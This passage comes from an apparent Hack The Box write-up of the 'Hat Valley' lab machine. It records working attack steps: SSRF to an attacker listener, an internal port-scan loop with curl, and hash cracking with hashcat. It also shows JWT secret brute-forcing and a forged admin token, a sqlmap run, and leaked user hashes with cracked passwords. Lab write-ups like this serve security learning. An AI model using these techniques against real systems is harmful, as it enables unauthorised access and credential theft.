      at Route.dispatch (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:114:3)
      at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5)
      at /var/www/hat-valley.htb/node_modules/express/lib/router/index.js:284:15
      at Function.process_params (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:346:12)
      at next (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:280:10)
      at cookieParser (/var/www/hat-valley.htb/node_modules/cookie-parser/index.js:71:5)
</code></pre></div>        </div>

        <p>again I need to have the JWT token obtained through login</p>
      </li>
    </ul>
  </li>
  <li>there are also other functions in the <a href="http://hat-valley.htb/js/app.js"><code class="language-html highlighter-rouge">http://hat-valley.htb/js/app.js</code></a> file but not accessible from the <code class="language-html highlighter-rouge">globalProperties</code>:
    <div class="language-js highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="kd">var</span> <span class="nx">baseURL</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">/api/</span><span class="dl">"</span><span class="p">;</span>
  <span class="kd">var</span> <span class="nx">get_all</span> <span class="o">=</span> <span class="kd">function</span> <span class="nx">get_all</span><span class="p">()</span> <span class="p">{</span>
      <span class="k">return</span> <span class="nx">axios__WEBPACK_IMPORTED_MODULE_0___default</span><span class="p">.</span><span class="nx">a</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="nx">baseURL</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">all-leave</span><span class="dl">'</span><span class="p">).</span><span class="nx">then</span><span class="p">(</span><span class="kd">function</span> <span class="p">(</span><span class="nx">response</span><span class="p">)</span> <span class="p">{</span>
          <span class="k">return</span> <span class="nx">response</span><span class="p">.</span><span class="nx">data</span><span class="p">;</span>
      <span class="p">});</span>
  <span class="p">};</span>
  <span class="kd">var</span> <span class="nx">submit_leave</span> <span class="o">=</span> <span class="kd">function</span> <span class="nx">submit_leave</span><span class="p">(</span><span class="nx">reason</span><span class="p">,</span> <span class="nx">start</span><span class="p">,</span> <span class="nx">end</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">return</span> <span class="nx">axios__WEBPACK_IMPORTED_MODULE_0___default</span><span class="p">.</span><span class="nx">a</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="nx">baseURL</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">submit-leave</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
          <span class="na">reason</span><span class="p">:</span> <span class="nx">reason</span><span class="p">,</span>
          <span class="na">start</span><span class="p">:</span> <span class="nx">start</span><span class="p">,</span>
          <span class="na">end</span><span class="p">:</span> <span class="nx">end</span>
      <span class="p">}).</span><span class="nx">then</span><span class="p">(</span><span class="kd">function</span> <span class="p">(</span><span class="nx">response</span><span class="p">)</span> <span class="p">{</span>
          <span class="k">return</span> <span class="nx">response</span><span class="p">.</span><span class="nx">data</span><span class="p">;</span>
      <span class="p">});</span>
  <span class="p">};</span>
</code></pre></div>    </div>

    <div class="language-js highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="kd">var</span> <span class="nx">baseURL</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">/api/</span><span class="dl">"</span><span class="p">;</span>
  <span class="kd">var</span> <span class="nx">login</span> <span class="o">=</span> <span class="kd">function</span> <span class="nx">login</span><span class="p">(</span><span class="nx">username</span><span class="p">,</span> <span class="nx">password</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">return</span> <span class="nx">axios__WEBPACK_IMPORTED_MODULE_0___default</span><span class="p">.</span><span class="nx">a</span><span class="p">.</span><span class="nx">post</span><span class="p">(</span><span class="nx">baseURL</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">login</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
          <span class="na">username</span><span class="p">:</span> <span class="nx">username</span><span class="p">,</span>
          <span class="na">password</span><span class="p">:</span> <span class="nx">password</span>
      <span class="p">}).</span><span class="nx">then</span><span class="p">(</span><span class="kd">function</span> <span class="p">(</span><span class="nx">response</span><span class="p">)</span> <span class="p">{</span>
          <span class="k">return</span> <span class="nx">response</span><span class="p">.</span><span class="nx">data</span><span class="p">;</span>
      <span class="p">});</span>
  <span class="p">};</span>
</code></pre></div>    </div>

    <div class="language-js highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="kd">var</span> <span class="nx">baseURL</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">/api/</span><span class="dl">"</span><span class="p">;</span>
  <span class="kd">var</span> <span class="nx">staff_details</span> <span class="o">=</span> <span class="kd">function</span> <span class="nx">staff_details</span><span class="p">()</span> <span class="p">{</span>
      <span class="k">return</span> <span class="nx">axios__WEBPACK_IMPORTED_MODULE_0___default</span><span class="p">.</span><span class="nx">a</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="nx">baseURL</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">staff-details</span><span class="dl">'</span><span class="p">).</span><span class="nx">then</span><span class="p">(</span><span class="kd">function</span> <span class="p">(</span><span class="nx">response</span><span class="p">)</span> <span class="p">{</span>
          <span class="k">return</span> <span class="nx">response</span><span class="p">.</span><span class="nx">data</span><span class="p">;</span>
      <span class="p">});</span>
  <span class="p">};</span>
</code></pre></div>    </div>

    <div class="language-js highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="kd">var</span> <span class="nx">baseURL</span> <span class="o">=</span> <span class="dl">"</span><span class="s2">/api/</span><span class="dl">"</span><span class="p">;</span>
  <span class="kd">var</span> <span class="nx">store_status</span> <span class="o">=</span> <span class="kd">function</span> <span class="nx">store_status</span><span class="p">(</span><span class="nx">URL</span><span class="p">)</span> <span class="p">{</span>
      <span class="kd">var</span> <span class="nx">params</span> <span class="o">=</span> <span class="p">{</span>
          <span class="na">url</span><span class="p">:</span> <span class="p">{</span>
              <span class="na">toJSON</span><span class="p">:</span> <span class="kd">function</span> <span class="nx">toJSON</span><span class="p">()</span> <span class="p">{</span>
                  <span class="k">return</span> <span class="nx">URL</span><span class="p">;</span>
              <span class="p">}</span>
          <span class="p">}</span>
      <span class="p">};</span>
      <span class="k">return</span> <span class="nx">axios__WEBPACK_IMPORTED_MODULE_0___default</span><span class="p">.</span><span class="nx">a</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="nx">baseURL</span> <span class="o">+</span> <span class="dl">'</span><span class="s1">store-status</span><span class="dl">'</span><span class="p">,</span> <span class="p">{</span>
          <span class="na">params</span><span class="p">:</span> <span class="nx">params</span>
      <span class="p">}).</span><span class="nx">then</span><span class="p">(</span><span class="kd">function</span> <span class="p">(</span><span class="nx">response</span><span class="p">)</span> <span class="p">{</span>
          <span class="k">return</span> <span class="nx">response</span><span class="p">.</span><span class="nx">data</span><span class="p">;</span>
      <span class="p">});</span>
  <span class="p">};</span>
</code></pre></div>    </div>
  </li>
  <li>
    <p><a href="http://hat-valley.htb/api/store-status"><code class="language-html highlighter-rouge">http://hat-valley.htb/api/store-status</code></a></p>

    <p>from the requests made by the browser I can see: <a href="http://hat-valley.htb/api/store-status?url=%22http:%2F%2Fstore.hat-valley.htb%22"><code class="language-html highlighter-rouge">http://hat-valley.htb/api/store-status?url=%22http:%2F%2Fstore.hat-valley.htb%22</code></a></p>

    <p>URL decoded and I got: <a href="http://hat-valley.htb/api/store-status?url=&quot;http://store.hat-valley.htb&quot;"><code class="language-html highlighter-rouge">http://hat-valley.htb/api/store-status?url="http://store.hat-valley.htb"</code></a></p>

    <p>so I can pass a URL at will? isn’t the website corresponding to the store hard-coded? that’s great, most likely an SSRF is present</p>

    <p><a href="http://hat-valley.htb/api/store-status?url=%22http://10.10.14.58:4444%22"><code class="language-html highlighter-rouge">http://hat-valley.htb/api/store-status?url=%22http://10.10.14.58:4444%22</code></a></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  GET / HTTP/1.1
  Accept: application/json, text/plain, */*
  User-Agent: axios/0.27.2
  Host: 10.10.14.58:4444
  Connection: close
</code></pre></div>    </div>

    <p>SSRF found, now I need to figure out how to exploit it</p>

    <p>I can put some json/text into the html page and it shows server side</p>

    <p>I’ve tried several injections but I can’t do much</p>
  </li>
  <li><a href="http://hat-valley.htb/api/staff-details"><code class="language-html highlighter-rouge">http://hat-valley.htb/api/staff-details</code></a> I always get the usual error:
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  JsonWebTokenError: jwt malformed
      at Object.module.exports [as verify] (/var/www/hat-valley.htb/node_modules/jsonwebtoken/verify.js:63:17)
      at /var/www/hat-valley.htb/server/server.js:151:30
      at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5)
      at next (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:144:13)
      at Route.dispatch (/var/www/hat-valley.htb/node_modules/express/lib/router/route.js:114:3)
      at Layer.handle [as handle_request] (/var/www/hat-valley.htb/node_modules/express/lib/router/layer.js:95:5)
      at /var/www/hat-valley.htb/node_modules/express/lib/router/index.js:284:15
      at Function.process_params (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:346:12)
      at next (/var/www/hat-valley.htb/node_modules/express/lib/router/index.js:280:10)
      at cookieParser (/var/www/hat-valley.htb/node_modules/cookie-parser/index.js:71:5)
</code></pre></div>    </div>

    <p>instead if I delete the <code class="language-html highlighter-rouge">token</code> cookie and do an HTTP GET to <a href="http://hat-valley.htb/api/staff-details"><code class="language-html highlighter-rouge">http://hat-valley.htb/api/staff-details</code></a></p>
    <div class="language-json highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="w">  </span><span class="p">[</span><span class="w">
      </span><span class="p">{</span><span class="w">
          </span><span class="nl">"user_id"</span><span class="p">:</span><span class="mi">1</span><span class="p">,</span><span class="w">
          </span><span class="nl">"username"</span><span class="p">:</span><span class="s2">"christine.wool"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"password"</span><span class="p">:</span><span class="s2">"6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"fullname"</span><span class="p">:</span><span class="s2">"Christine Wool"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"role"</span><span class="p">:</span><span class="s2">"Founder, CEO"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"phone"</span><span class="p">:</span><span class="s2">"0415202922"</span><span class="w">
      </span><span class="p">},</span><span class="w">
      </span><span class="p">{</span><span class="w">
          </span><span class="nl">"user_id"</span><span class="p">:</span><span class="mi">2</span><span class="p">,</span><span class="w">
          </span><span class="nl">"username"</span><span class="p">:</span><span class="s2">"christopher.jones"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"password"</span><span class="p">:</span><span class="s2">"e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"fullname"</span><span class="p">:</span><span class="s2">"Christopher Jones"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"role"</span><span class="p">:</span><span class="s2">"Salesperson"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"phone"</span><span class="p">:</span><span class="s2">"0456980001"</span><span class="w">
      </span><span class="p">},</span><span class="w">
      </span><span class="p">{</span><span class="w">
          </span><span class="nl">"user_id"</span><span class="p">:</span><span class="mi">3</span><span class="p">,</span><span class="w">
          </span><span class="nl">"username"</span><span class="p">:</span><span class="s2">"jackson.lightheart"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"password"</span><span class="p">:</span><span class="s2">"b091bc790fe647a0d7e8fb8ed9c4c01e15c77920a42ccd0deaca431a44ea0436"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"fullname"</span><span class="p">:</span><span class="s2">"Jackson Lightheart"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"role"</span><span class="p">:</span><span class="s2">"Salesperson"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"phone"</span><span class="p">:</span><span class="s2">"0419444111"</span><span class="w">
      </span><span class="p">},</span><span class="w">
      </span><span class="p">{</span><span class="w">
          </span><span class="nl">"user_id"</span><span class="p">:</span><span class="mi">4</span><span class="p">,</span><span class="w">
          </span><span class="nl">"username"</span><span class="p">:</span><span class="s2">"bean.hill"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"password"</span><span class="p">:</span><span class="s2">"37513684de081222aaded9b8391d541ae885ce3b55942b9ac6978ad6f6e1811f"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"fullname"</span><span class="p">:</span><span class="s2">"Bean Hill"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"role"</span><span class="p">:</span><span class="s2">"System Administrator"</span><span class="p">,</span><span class="w">
          </span><span class="nl">"phone"</span><span class="p">:</span><span class="s2">"0432339177"</span><span class="w">
      </span><span class="p">}</span><span class="w">
  </span><span class="p">]</span><span class="w">
</span></code></pre></div>    </div>

    <p>they are SHA256 hashes, I try to do a bruteforce attack saving all 4 hashes in <code class="language-html highlighter-rouge">hash.txt</code> file</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  6529fc6e43f9061ff4eaa806b087b13747fbe8ae0abfd396a5c4cb97c5941649
  e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1
  b091bc790fe647a0d7e8fb8ed9c4c01e15c77920a42ccd0deaca431a44ea0436
  37513684de081222aaded9b8391d541ae885ce3b55942b9ac6978ad6f6e1811f
</code></pre></div>    </div>

    <p><code class="language-html highlighter-rouge">hashcat -m 1400 -a 0 hash.txt /usr/share/wordlists/rockyou.txt -O</code></p>

    <p>I get: <code class="language-html highlighter-rouge">e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1:chris123</code></p>

    <p>so I log in as <code class="language-html highlighter-rouge">christopher.jones : chris123</code> in the <a href="http://hat-valley.htb/hr"><code class="language-html highlighter-rouge">http://hat-valley.htb/hr</code></a> page</p>
  </li>
  <li>
    <p>I’m logged in and finally I can create <strong>Leave Requests</strong> at <a href="http://hat-valley.htb/leave"><code class="language-html highlighter-rouge">http://hat-valley.htb/leave</code></a></p>

    <p>I notice that I cannot use the following characters: <code class="language-html highlighter-rouge">#</code>, <code class="language-html highlighter-rouge">{</code>,<code class="language-html highlighter-rouge">}</code>, <code class="language-html highlighter-rouge">*</code>, <code class="language-html highlighter-rouge">$</code>, <code class="language-html highlighter-rouge">"</code>, <code class="language-html highlighter-rouge">(</code>, <code class="language-html highlighter-rouge">)</code></p>

    <p>therefore an SSTI attack is not feasible</p>

    <p>I try to see if there is an SQLI: <code class="language-html highlighter-rouge">sqlmap -r request.txt --os='linux' --level=5 --risk=3</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>
</code></pre></div>    </div>
  </li>
  <li>now that I think about it I have the <code class="language-html highlighter-rouge">token</code> cookie and consequently I can get more information about the used JWT:
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjcwMjc0MTkxfQ.7vMDJi74kTnjzGNQcXgbrMNLcqQdxhKD10Umi49jczM
</code></pre></div>    </div>

    <p>decoding the base64 I can see the structure:</p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  {"alg":"HS256","typ":"JWT"}{"username":"christopher.jones","iat":1670274191}.ï02bï...<span class="nt">&lt;Æ5...ºÌ4·</span><span class="na">*AÜa(=</span><span class="s">tRh¸ö73</span>
</code></pre></div>    </div>

    <p><a href="https://auth0.com/blog/brute-forcing-hs256-is-possible-the-importance-of-using-strong-keys-to-sign-jwts/">https://auth0.com/blog/brute-forcing-hs256-is-possible-the-importance-of-using-strong-keys-to-sign-jwts/</a></p>

    <p><a href="https://github.com/brendan-rius/c-jwt-cracker">https://github.com/brendan-rius/c-jwt-cracker</a> (does not support dictionary attack)</p>

    <p><a href="https://github.com/aress31/jwtcat">https://github.com/aress31/jwtcat</a> (supports dictionary attack)</p>

    <p>I then run: <code class="language-html highlighter-rouge">python jwtcat.py wordlist -w /usr/share/wordlists/rockyou.txt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjcwMjc0MTkxfQ.7vMDJi74kTnjzGNQcXgbrMNLcqQdxhKD10Umi49jczM</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  2022-12-12 21:20:51,843 kali __main__[10295] INFO Private key found: 123beany123
  2022-12-12 21:20:51,843 kali __main__[10295] INFO Finished in 251.86414098739624 sec
</code></pre></div>    </div>

    <p>now I can create an adhoc token for the user with admin permissions from the site <a href="https://jwt.io">https://jwt.io</a></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  header = {"alg":"HS256","typ":"JWT"}
  payload = {"username":"bean.hill","iat":1670877138} #www.epochconverter.com
  signature key = 123beany123
</code></pre></div>    </div>

    <p>results: <code class="language-html highlighter-rouge">eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImJlYW4uaGlsbCIsImlhdCI6MTY3MDg3NzEzOH0.YQha0dBiD60yUOzD65mWLtCqDpXdZNyMol7ndnH71os</code></p>

    <p><code class="language-html highlighter-rouge">/hr</code>, <code class="language-html highlighter-rouge">/dashboard</code> and <code class="language-html highlighter-rouge">/leave</code> pages show no difference once the token is set</p>
  </li>
  <li>
    <p>I’m stuck, I thought this was the way but now I have to go back</p>

    <p>I haven’t tried redirecting the SSRF to <code class="language-html highlighter-rouge">127.0.0.1</code> yet</p>

    <p>going back in the writeup it was present inside the <a href="http://hat-valley.htb/js/app.js"><code class="language-html highlighter-rouge">http://hat-valley.htb/js/app.js</code></a> file:</p>
    <div class="language-js highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="nx">__webpack_require__</span><span class="p">(</span><span class="cm">/*! /var/www/hat-valley.htb/node_modules/webpack-dev-server/client/index.js?http://localhost:8080&amp;sockPath=/sockjs-node */</span><span class="dl">"</span><span class="s2">./node_modules/webpack-dev-server/client/index.js?http://localhost:8080&amp;sockPath=/sockjs-node</span><span class="dl">"</span><span class="p">);</span>
</code></pre></div>    </div>

    <p>I had tried to enumerate from the outside <a href="http://hat-valley.htb/sockjs-node"><code class="language-html highlighter-rouge">http://hat-valley.htb/sockjs-node</code></a> but with poor results:</p>

    <ul>
      <li>
        <p>explanation: <a href="https://sockjs.github.io/sockjs-protocol/sockjs-protocol-0.3.3.html">https://sockjs.github.io/sockjs-protocol/sockjs-protocol-0.3.3.html</a></p>
      </li>
      <li>
        <p><a href="https://sockjs.github.io/sockjs-protocol/sockjs-protocol-0.3.3.html#section-26">https://sockjs.github.io/sockjs-protocol/sockjs-protocol-0.3.3.html#section-26</a></p>

        <p><a href="http://hat-valley.htb/sockjs-node/info"><code class="language-html highlighter-rouge">http://hat-valley.htb/sockjs-node/info</code></a></p>
        <div class="language-json highlighter-rouge"><div class="highlight"><pre class="syntax"><code><span class="w">  </span><span class="p">{</span><span class="nl">"websocket"</span><span class="p">:</span><span class="kc">true</span><span class="p">,</span><span class="nl">"origins"</span><span class="p">:[</span><span class="s2">"*:*"</span><span class="p">],</span><span class="nl">"cookie_needed"</span><span class="p">:</span><span class="kc">false</span><span class="p">,</span><span class="nl">"entropy"</span><span class="p">:</span><span class="mi">896627513</span><span class="p">}</span><span class="w">
</span></code></pre></div>        </div>
      </li>
      <li>
        <p><a href="https://github.com/sockjs/sockjs-protocol#running-tests">https://github.com/sockjs/sockjs-protocol#running-tests</a></p>

        <p><code class="language-html highlighter-rouge">SOCKJS_URL=http://hat-valley.htb:80/sockjs-node ./venv/bin/python sockjs-protocol.py -v</code></p>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  test_greeting (__main__.BaseUrlGreeting) ... FAIL
  test_notFound (__main__.BaseUrlGreeting) ... ok
  test_response_limit (__main__.EventSource) ... FAIL
  test_transport (__main__.EventSource) ... FAIL
  test_abort_xhr_polling (__main__.HandlingClose) ... FAIL
  test_abort_xhr_streaming (__main__.HandlingClose) ... FAIL
  test_close_frame (__main__.HandlingClose) ... FAIL
  test_close_request (__main__.HandlingClose) ... FAIL
  test_invalid_callback (__main__.HtmlFile) ... FAIL
  test_no_callback (__main__.HtmlFile) ... FAIL
  test_response_limit (__main__.HtmlFile) ... FAIL
  test_transport (__main__.HtmlFile) ... FAIL
  test_streaming (__main__.Http10) ... FAIL
  test_synchronous (__main__.Http10) ... FAIL
  test_streaming (__main__.Http11) ... FAIL
  test_synchronous (__main__.Http11) ... FAIL
  test_cacheability (__main__.IframePage) ... FAIL
  test_invalidUrl (__main__.IframePage) ... ok
  test_queriedUrl (__main__.IframePage) ... FAIL
  test_simpleUrl (__main__.IframePage) ... FAIL
  test_versionedUrl (__main__.IframePage) ... FAIL
  test_basic (__main__.InfoTest) ... FAIL
  test_disabled_websocket (__main__.InfoTest) ... FAIL
  test_entropy (__main__.InfoTest) ... ERROR
  test_options (__main__.InfoTest) ... FAIL
  test_options_null_origin (__main__.InfoTest) ... FAIL
  test_xhr_server_decodes (__main__.JSONEncoding) ... FAIL
  test_xhr_server_encodes (__main__.JSONEncoding) ... FAIL
  test_basic (__main__.JsessionidCookie) ... FAIL
  test_eventsource (__main__.JsessionidCookie) ... FAIL
  test_htmlfile (__main__.JsessionidCookie) ... FAIL
  test_jsonp (__main__.JsessionidCookie) ... FAIL
  test_xhr (__main__.JsessionidCookie) ... FAIL
  test_xhr_streaming (__main__.JsessionidCookie) ... FAIL
  test_close (__main__.JsonPolling) ... FAIL
  test_content_types (__main__.JsonPolling) ... FAIL
  test_invalid_callback (__main__.JsonPolling) ... FAIL
  test_invalid_json (__main__.JsonPolling) ... FAIL
  test_no_callback (__main__.JsonPolling) ... FAIL
  test_sending_empty_frame (__main__.JsonPolling) ... FAIL
  test_transport (__main__.JsonPolling) ... FAIL
  test_closeSession (__main__.Protocol) ... FAIL
  test_simpleSession (__main__.Protocol) ... FAIL
  test_close (__main__.RawWebsocket) ... ERROR
  test_transport (__main__.RawWebsocket) ... ERROR
  test_anyValue (__main__.SessionURLs) ... FAIL
  test_ignoringServerId (__main__.SessionURLs)
  See Protocol.test_simpleSession for explanation. ... FAIL
  test_invalidPaths (__main__.SessionURLs) ... ok
  test_broken_json (__main__.Websocket) ... ERROR
  test_close (__main__.Websocket) ... ERROR
  test_empty_frame (__main__.Websocket) ... ERROR
  test_haproxy (__main__.Websocket) ... FAIL
  test_headersSanity (__main__.Websocket) ... FAIL
  test_reuseSessionId (__main__.Websocket) ... ERROR
  test_transport (__main__.Websocket) ... ERROR
  test_httpMethod (__main__.WebsocketHttpErrors) ... FAIL
  test_invalidConnectionHeader (__main__.WebsocketHttpErrors) ... FAIL
  test_invalidMethod (__main__.WebsocketHttpErrors) ... FAIL
  test_content_types (__main__.XhrPolling) ... FAIL
  test_invalid_json (__main__.XhrPolling) ... FAIL
  test_invalid_session (__main__.XhrPolling) ... ok
  test_options (__main__.XhrPolling) ... FAIL
  test_request_headers_cors (__main__.XhrPolling) ... FAIL
  test_sending_empty_frame (__main__.XhrPolling) ... FAIL
  test_transport (__main__.XhrPolling) ... FAIL
  test_options (__main__.XhrStreaming) ... FAIL
  test_response_limit (__main__.XhrStreaming) ... FAIL
  test_transport (__main__.XhrStreaming) ... FAIL
</code></pre></div>        </div>

        <p>tests passed:</p>
        <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  test_notFound (__main__.BaseUrlGreeting) ... ok
  test_invalidUrl (__main__.IframePage) ... ok
  test_invalidPaths (__main__.SessionURLs) ... ok
  test_invalid_session (__main__.XhrPolling) ... ok
</code></pre></div>        </div>
      </li>
    </ul>

    <p>now instead I try to look inside the page: <a href="http://localhost:8080&amp;sockPath=/sockjs-node"><code class="language-html highlighter-rouge">http://localhost:8080<span class="err">&amp;</span>sockPath=/sockjs-node</code></a></p>

    <p>while I’m looking at port 8080 I can try to see if there are other ports capable of talking HTTP:<br />
  <code class="language-html highlighter-rouge">for port in $(seq 1 10000); do if [ $(curl -s "http://hat-valley.htb/api/store-status?url=%22http://localhost:$port%22" | wc -l) -gt 0 ]; then echo "port $port is open and speaks HTTP"; fi; done</code></p>
    <div class="language-html highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  port 80 is open and speaks HTTP
  port 3002 is open and speaks HTTP
  port 8080 is open and speaks HTTP
</code></pre></div>    </div>
  </li>
  <li>
    <p><a href="http://hat-valley.htb/api/store-status?url=%22http://127.0.0.1:8080%22"><code class="language-html highlighter-rouge">http://hat-valley.htb/api/store-status?url=%22http://127.0.0.1:8080%22</code></a> is empty</p>
  </li>
  <li>
    <p><a href="http://hat-valley.htb/api/store-status?url=%22http://127.0.0.1:3002%22"><code class="language-html highlighter-rouge">http://hat-valley.htb/api/store-status?url=%22http://127.0.0.1:3002%22</code></a> contains the documentation of the functions I have already enumerated</p>

    <ul>
      <li><strong>Staff Details (<code class="language-html highlighter-rouge">/api/staff-details</code>)</strong> - Retrieve the details of the Hat Valley staff.
        <div class="language-js highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="nx">app</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">/api/staff-details</span><span class="dl">'</span><span class="p">,</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
      <span class="kd">const</span> <span class="nx">user_token</span> <span class="o">=</span> <span class="nx">req</span><span class="p">.</span><span class="nx">cookies</span><span class="p">.</span><span class="nx">token</span>
      <span class="kd">var</span> <span class="nx">authFailed</span> <span class="o">=</span> <span class="kc">false</span>
      <span class="k">if</span><span class="p">(</span><span class="nx">user_token</span><span class="p">)</span> <span class="p">{</span>
          <span class="kd">const</span> <span class="nx">decodedToken</span> <span class="o">=</span> <span class="nx">jwt</span><span class="p">.</span><span class="nx">verify</span><span class="p">(</span><span class="nx">user_token</span><span class="p">,</span> <span class="nx">TOKEN_SECRET</span><span class="p">)</span>
          <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nx">decodedToken</span><span class="p">.</span><span class="nx">username</span><span class="p">)</span> <span class="p">{</span>
          <span class="nx">authFailed</span> <span class="o">=</span> <span class="kc">true</span>
          <span class="p">}</span>
      <span class="p">}</span>
      <span class="k">if</span><span class="p">(</span><span class="nx">authFailed</span><span class="p">)</span> <span class="p">{</span>
          <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">401</span><span class="p">).</span><span class="nx">json</span><span class="p">({</span><span class="na">Error</span><span class="p">:</span> <span class="dl">"</span><span class="s2">Invalid Token</span><span class="dl">"</span><span class="p">})</span>
      <span class="p">}</span>
      <span class="nx">connection</span><span class="p">.</span><span class="nx">query</span><span class="p">(</span>
          <span class="dl">'</span><span class="s1">SELECT * FROM users</span><span class="dl">'</span><span class="p">,</span> 
          <span class="kd">function</span> <span class="p">(</span><span class="nx">err</span><span class="p">,</span> <span class="nx">results</span><span class="p">)</span> <span class="p">{</span>
          <span class="k">if</span><span class="p">(</span><span class="nx">err</span><span class="p">)</span> <span class="p">{</span>
              <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">500</span><span class="p">).</span><span class="nx">send</span><span class="p">(</span><span class="dl">"</span><span class="s2">Database error</span><span class="dl">"</span><span class="p">)</span>
          <span class="p">}</span>
          <span class="k">else</span> <span class="p">{</span>
              <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">200</span><span class="p">).</span><span class="nx">json</span><span class="p">(</span><span class="nx">results</span><span class="p">)</span>
          <span class="p">}</span>
          <span class="p">}</span>
      <span class="p">);</span>
  <span class="p">})</span>
</code></pre></div>        </div>
      </li>
      <li><strong>Store Status (<code class="language-html highlighter-rouge">/api/store-status</code>)</strong> - Retrieve the status of the Hat Valley online store.
        <div class="language-js highlighter-rouge"><div class="highlight"><pre class="syntax"><code>  <span class="nx">app</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="dl">'</span><span class="s1">/api/store-status</span><span class="dl">'</span><span class="p">,</span> <span class="k">async</span> <span class="p">(</span><span class="nx">req</span><span class="p">,</span> <span class="nx">res</span><span class="p">)</span> <span class="o">=&gt;</span> <span class="p">{</span>
      <span class="k">await</span> <span class="nx">axios</span><span class="p">.</span><span class="kd">get</span><span class="p">(</span><span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">url</span><span class="p">.</span><span class="nx">substring</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nx">req</span><span class="p">.</span><span class="nx">query</span><span class="p">.</span><span class="nx">url</span><span class="p">.</span><span class="nx">length</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
      <span class="p">.</span><span class="nx">then</span><span class="p">(</span><span class="nx">http_res</span> <span class="o">=&gt;</span> <span class="p">{</span>
          <span class="k">return</span> <span class="nx">res</span><span class="p">.</span><span class="nx">status</span><span class="p">(</span><span class="mi">200</span><span class="p">).</span><span class="nx">send</span><span class="p">(</span><span class="nx">http_res</span><span class="p">.</span><span class="nx">data</span><span class="p">)</span>
          <span class="p">})</span>
      <span class="p">.</span><span class="k">catch</span><span class="p">(</span><span class="nx">http_err</span> <span class="o">=&gt;</span> <span class="p">{</span>
